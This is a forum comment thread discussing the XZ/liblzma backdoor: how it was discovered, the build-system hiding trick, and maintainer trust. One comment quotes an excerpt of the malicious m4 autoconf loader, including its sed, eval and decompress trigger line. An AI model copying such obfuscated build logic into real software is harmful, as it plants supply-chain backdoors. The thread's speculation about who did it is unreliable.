XZ backdoor in a nutshell

Its toooo much bloat. There must be malware XD linux users at there peak!

Half a second is a really, really long time.

Technically that wasn't the initial entrypoint, paraphrasing from https://mastodon.social/@AndresFreundTec/112180406142695845 :

It started with ssh using unreasonably much cpu which interfered with benchmarks. Then profiling showed that cpu time being spent in lzma, without being attributable to anything. And he remembered earlier valgrind issues. These valgrind issues only came up because he set some build flag he doesn't even remember anymore why it is set. On top he ran all of this on debian unstable to catch (unrelated) issues early. Any of these factors missing, he wouldn't have caught it. All of this is so nuts.

Postgres sort of saved the day

Is that from the Microsoft engineer or did he start from this observation?

Is it, really? If the whole point of the library is dealing with binary files, how are you even going to have automated tests of the library?

The scary thing is that there is people still using autotools, or any other hyper-complicated build system in which this is easy to hide because who the hell cares about learning about Makefiles, autoconf, automake, M4 and shell scripting at once to compile a few C files. I think hiding this in any other build system would have been definitely harder. Check this mess:

 undefined

    
  dnl Define somedir_c_make.
  [$1]_c_make=`printf '%s\n' "$[$1]_c" | sed -e "$gl_sed_escape_for_make_1" -e "$gl_sed_escape_for_make_2" | tr -d "$gl_tr_cr"`
  dnl Use the substituted somedir variable, when possible, so that the user
  dnl may adjust somedir a posteriori when there are no special characters.
  if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
    [$1]_c_make='\"$([$1])\"'
  fi
  if test "x$gl_am_configmake" != "x"; then
    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
  else
    gl_[$1]_config=''
  fi


  

It's not uncommon to keep example bad data around for regression to run against, and I imagine that's not the only example in a compression library, but I'd definitely consider that a level of testing above unittests, and would not include it in the main repo. Tests that verify behavior at run time, either when interacting with the user, integrating with other software or services, or after being packaged, belong elsewhere. In summary, this is lazy.

As mentioned, binary test files makes sense for this utility. In the future though, there should be expected to demonstrate how and why the binary files were constructed in this way, kinda like how encryption algorithms explain how they derived any arbitrary or magic numbers. This would bring more trust and transparency to these files without having to eliminate them.

Yep, I consider it a failure of the build/dev pipeline.

And thank you Microsoft.

It allows a patched SSH client to bypass SSH authentication and gain access to a compromised computer

There is RedHat's patch for OpenSSH that adds something for systemd, which adds libsystemd as dependency, which has liblzma as its own dependency.

I do believe it does

I hope they are all extremely annoyed and frustrated

I like to imagine this was thought up by some ambitious product manager who enthusiastically pitched this idea during their first week on the job.

Then they carefully and meticulously implemented their plan over 3 years, always promising the executives it would be a huge pay off. Then the product manager saw the writing on the wall that this project was gonna fail. Then they bailed while they could and got a better position at a different company.

The new product manager overseeing this project didn't care about it at all. New PM said fuck it and shipped the exploit before it was ready so the team could focus their work on a new project that would make new PM look good.

The new project will be ready in just 6-12 months, and it is totally going to disrupt the industry!

And due to open source, it was still caught within a month. Nothing could ever convince me more than that how secure FOSS can be.

Coconut at least...

I'm going to read it later, but if I don't find a little red Saddam Hussein hidden in there I'll be disappointed

edit: eh my day wasn't good anyway

In the words of the devs in that security email, and I'm paraphrasing -

"Lots of people giving next steps, not a lot people lending a hand."

I say this as a person not lending a hand. This stuff over my head and outside my industry knowledge and experience, even after I spent the whole weekend piecing everything together.

Packages or dependencies with only one maintainer that are this popular have always been an issue, and not just a security one.

What happens when that person can't afford to or doesn't want to run the project anymore? What if they become malicious? What if they sell out? Etc.

no more patching fuzzers to allow that one program to compile. Fix the program

Agreed.

Remember Debian's OpenSSL fiasco? The one that affected all the other derivatives as well, including Ubuntu.

It all started because OpenSSL did add to the entropy pool a bunch uninitialized memory and the PID. Who the hell relies on uninitialized memory ever? The Debian maintainer wanted to fix Valgrind errors, and submitted a patch. It wasn't properly reviewed, nor accepted in OpenSSL. The maintainer added it to the Debian package patch, and then everything after that is history.

Everyone blamed Debian "because it only happened there", and definitely mistakes were done on that side, but I surely blame much more the OpenSSL developers.

This has always been the case. Maybe I work in a unique field but we spend a lot of time duplicating functionality from open source and not linking to it directly for specifically this reason, at least in some cases. It's a good compromise between rolling your own software and doing a formal security audit. Plus you develop institutional knowledge for that area.

And yes, we always contribute code back where we can.

There's gotta be a better way to verify programs then just what the devs do. For example patching the fuzzer, that should be seen as a clear separation of duties problem.

That constant issue of low Dev/high use dependencies is awful and no one I've met on the business end can seem to figure out that need to support those kind of people or accept, what should frankly be, legal liability for what goes wrong. This isn't news its just a cover song. And its not an open source problem, its just a software problem. (

The post on the oss is more detailed and informative

He already has a mastodon account : https://infosec.exchange/@fr0gger/112189232773640259

Hopefully the later

I think we need focus on zero trust when it comes to upstream software

Imagine

Because m4/build-to-host.m4, the entry point, is not in the git repo, but was included by the malicious maintainer into the tarballs.

I don’t understand the actual mechanics of it, but my understanding is that it’s essentially like what happened with Volkswagon and their diesel emissions testing scheme where it had a way to know it was being emissions tested and so it adapted to that.

The malicious actor had a mechanism that exempted the malicious code when built from source, presumably because it would be more likely to be noticed when building/examining the source.

Edit: a bit of grammar. Also, this is my best understanding based on what I’ve read and videos I’ve watched, but a lot of it is over my head.

The malicious code was written and debugged at their convenience and saved as an object module linker file that had been stripped of debugger symbols (this is one of its features that made Fruend suspicious enough to keep digging when he profiled his backdoored ssh looking for that 500ms delay: there were no symbols to attribute the cpu cycles to).

It was then further obfuscated by being chopped up and placed into a pure binary file that was ostensibly included in the tarballs for the xz library build process to use as a test case file during its build process. The file was supposedly an example of a bad compressed file.

This "test" file was placed in the .gitignore seen in the repo so the file's abscense on github was explained. Being included as a binary test file only in the tarballs means that the malicious code isn't on github in any form. Its nowhere to be seen until you get the tarball.

The build process then creates some highly obfuscated bash scripts on the fly during compilation that check for the existence of the files (since they won't be there if you're building from github). If they're there, the scripts reassemble the object module, basically replacing the code that you would see in the repo.

Thats a simplified version of why there's no code to see, and that's just one aspect of this thing. It's sneaky.

I think it is the other way around. If you build from Tarball then you getting pwned

We probably never will.

It was Spez trying to collect more user data to make Reddit profitable

Probably a state actor

The CIA will know, we will most likely not.

as long as you're up to date on everything here: https://boehs.org/node/everything-i-know-about-the-xz-backdoor

the only additional thing i've seen noted is a possibilty that they were using Arch based on investigation of the tarball that they provided to distro maintainers

Probably Chinese?

Tukaani main website